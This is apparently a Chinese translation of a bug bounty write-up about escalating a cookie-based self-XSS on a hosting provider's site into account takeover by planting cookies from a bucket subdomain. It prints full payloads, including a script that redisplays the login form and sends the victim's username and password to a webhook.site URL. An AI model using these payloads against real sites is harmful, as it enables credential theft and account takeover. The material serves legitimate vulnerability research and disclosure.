€500 将基于 cookie 的 XSS 转变为帐户接管

原文链接：

https://bergee.it/blog/turning-cookie-based-xss-into-account-takeover/

基于 cookie 的 XSS

        我正在测试 terrahost.no 主域。有一个功能，我可以选择服务，然后注册一个帐户并下订单。所以我就这么做了。我选择了虚拟主机并输入了所有数据——用户名、地址、电话号码、邮政编码等。点击“注册”，我看到了屏幕上显示的所有数据。立马想到了 XSS，开始看 Burp 中的请求。但是什么也没发现。刷新页面，仍然看到数据。然后我查看了本地存储、会话存储和 cookie。瞧！数据存储在 cookie 中。

        我清除了所有 cookie，使用了开发者控制台，并将 customer_name cookie 值的值更改为 XSS 有效负载：

<img src=”x” onerror=alert(document.domain)>

        刷新页面，什么也没看到:(。下订单的注册过程包括两步。第一步是显示注册表单的地方，第二步是显示客户数据的地方。我们需要第二步执行payload。我发现这些步骤是由一个名为“step”的cookie控制的，所以我还需要设置这个cookie才能看到漂亮的警报框:)。好的，到目前为止一切都很好。但这是自我 XSS，这意味着我不能用它攻击任何人。该公司不接受自我 XSS 问题。

将自己的 xss 变成远程 xss

我google了一下，发现基于cookie的xss可以被利用并变成好的xss。步骤：

1. 我必须在 terrahost.no 的某个子域上设置与易受攻击的 cookie “customer_name” 相同的名称。

document.cookie=’customer_name=<img src=x onerror=alert(document.domain)>; domain=.terrahost.no’;

开头的点很重要。这样，尽管 cookie 由子域设置，但它在主 terrahost.no 域上有效。

2. 我必须将受害者从 sub.terrahost.no 重定向到 terrahost.no

好的，我该如何执行这些步骤？我想出了两种方法：
– 在子域上发送由 CRLF 漏洞注入的 cookie 标头 – 尚未测试此方法
– 在子域上使用其他一些 XSS 来使用 javascript 代码设置 cookie

            由于这家公司提供 VPS、专用服务器等，我想如果我购买最便宜的 VPS，然后可能会获得像 myserver.terrahost.no 这样的子域，然后设置 Web 服务器并将有效负载放在那里。所以我这样做了，得到了像…srvXXX.terrahost.com 这样的子域。
        不！我需要 terrahost.no 的子域。无论如何， srvXXX.terrahost.com 只是在外面看不到的主机名。我在 VPS 上玩了一下，并寻找了一些其他服务，希望得到一些 subdomain.terrahost.no 并以某种方式将其与 VPS 链接。但又失败了。

Terrahost 的对象存储桶

        我放弃了这个错误并开始在 https://enigma.terrahost.com 的管理面板上寻找。我突然注意到，Terrahost 的一项服务是类似 AWS S3 的对象存储桶。存储桶地址类似于... mybucket.s3.terrahost.no。我立即创建了名为 berdzibucket 的存储桶。现在我有了我想要的——berdzibucket.s3.terrahost.no——我可以放置文件的子域！！！这里的难点是学习如何使用水桶。我花了一些时间尝试使用 AWS CLI 工具。最后联系了支持，他们告诉我需要使用MinIO工具来操作存储桶。我设置了工具，创建了设置 cookie（step 和 customer_id）并将受害者重定向到主域的 HTML 文件，将其放在 s3 存储桶上，并将策略设置为公共：

$ minio cp poc_xss.html terra/berdzibucket$ minio policy set public terra/berdzibucket/poc_xss.html

poc_xss.html 文件的内容是这样的：

<script type=”text/javascript”> document.cookie='customer_id=<img src=x onerror=alert(document.domain)>;domain=.terrahost.no'; document.cookie='step=2;domain=.terrahost.no'; window.location.href="https://terrahost.no/bestilling?pid=3813" </script>

其中 https://terrahost.no/bestilling?pid=3813 是订单页面的 URL。所以我有这样的网址

https://berdzibucket.s3.terrahost.no/poc_xss.html

单击 URL 会将受害者重定向到主 terrahost.no 域，并弹出警告框。

真正的影响

        让我们记住在寻找漏洞方面对公司最有价值的是什么——漏洞的真正影响。警报框只是 POC。现在我决定窃取所有其他保存客户数据的 cookie。我将有效负载更改为警报（document.cookie），将文件上传到存储桶上，以受害者身份登录，单击链接，然后……什么也没发生。为什么？怎么回事？我使用 customer_id cookie 来存储我的 XSS 负载。当受害者登录时，所有保存客户数据的 cookie 都已由 terrahost.no 域设置。通过 berdzibucket.s3.terrahost.no 在 .terrahost.no 域上设置同名 cookie 将起作用，但是，首先考虑来自主域的 cookie - 因此显示注册过程设置的 customer_id cookie 的值，而不是一个由我在 s3 存储桶上的文件设置。这样，所有其他易受 XSS 攻击的 cookie 都已设置，我无法将有效负载放在那里。所以我不能窃取注册客户的数据。无论如何，这个 bug 是有效的，因为它不再是 self-xss。我向公司报告了这件事。他们告诉我——这是一个有效的错误，但不可利用。

如果我在登录时使用 XSS 有效负载窃取受害者的凭据怎么办。下订单时的帐户注册包括两个步骤

1. 第一步——登录和注册表格都在屏幕上可见

2. 第二步——客户的数据在屏幕上可见

        我们需要第二步来执行有效负载，但登录表单仅在第一步中可见。步骤屏幕由名为 step 的 cookie 的值控制，其值为 1-4。我们对第 1 步和第 2 步感兴趣。击败的另一个障碍。我查看了页面的 DOM 并看到，当设置第 2 步时，登录表单只是被 CSS display 属性隐藏，并且显示了客户数据 div。

        所以我需要操作 DOM 以再次显示登录表单并隐藏客户的数据以使其看起来像第 1 步。XSS 有效负载将执行以下操作：

1. 再次显示登录表单
2. 隐藏客户数据 div 
3. 在“登录”按钮上设置 onClick 事件——当受害者单击按钮时，凭据将发送到攻击者的服务器

因此，当网站使用 jQuery 时，我创建了以下有效负载：

<img id=’imgx’><script>$(“.row_information”).hide(); $(“.step1”).show(); $(“.login”).click(function(e){un=$(“#username”).val(); pwd=$(“#password”).val();imgx.src=”https://webhook.site/da65627b-61d4-446e-91fd-ada548c7975x?data=”+un+’,’+pwd});</script>

更新：现在我可以看到我可以隐藏第 2 步并显示第 1 步

我使用https://webhook.site创建了一个 webhook 来接受模拟攻击者服务器的请求。我尝试先使用 XHR 请求发送数据，但 CORS 阻止了它。为了绕过它，我修改了有效负载以通过 <img src> 标签发送数据。有效。受害者的凭据被发送给攻击者。这些是受害者用来登录 enigma 管理面板的相同凭据。我创建了 place_order.html 文件并将其上传到我的 s3 terrahost 存储桶中。place_order.html 看起来像这样：

<script type=”text/javascript”> document.cookie='customer_id=%3Cimg%20id%3D%27imgx%27%3E%3Cscript%3E%24%28%22.row_information%22%29.hide%28% 29%3B%20%24%28%22.step1%22%29.show%28%29%3B%20%24%28%22.login%22%29.click%28function%28e%29%7Bun% 3D%24%28%22%23username%22%29.val%28%29%3B%20pwd%3D%24%28%22%23password%22%29.val%28%29%3Bimgx.src%3D% 22https%3A%2F%2Fwebhook.site%2Fda65627b-61d4-446e-91fd-ada548c7975x%3Fdata%3D%22%2Bun%2B%27%2C%27%2Bpwd%7D%2%3B%3C%2Fscript%3E；domain=.terrahost.no';document.cookie='step=2;domain=.terrahost.no'; window.location.href="https://terrahost.no/bestilling?pid=3813 </script>

所以这些是接管受害者帐户的最后步骤：
1. 受害者获取 URL https://attackerbucket.s3.terrahost.no/place_order.html 
2. 受害者单击 URL 并被重定向到登录站点 –他/她在这里没有看到任何可疑之处
3. 设置了 XSS 有效负载，一旦受害者登录，脚本就会将凭据发送到攻击者的服务器
4. 攻击者接管受害者的帐户

原文始发于微信公众号（Khan安全攻防实验室）：€500 将基于 cookie 的 XSS 转变为帐户接管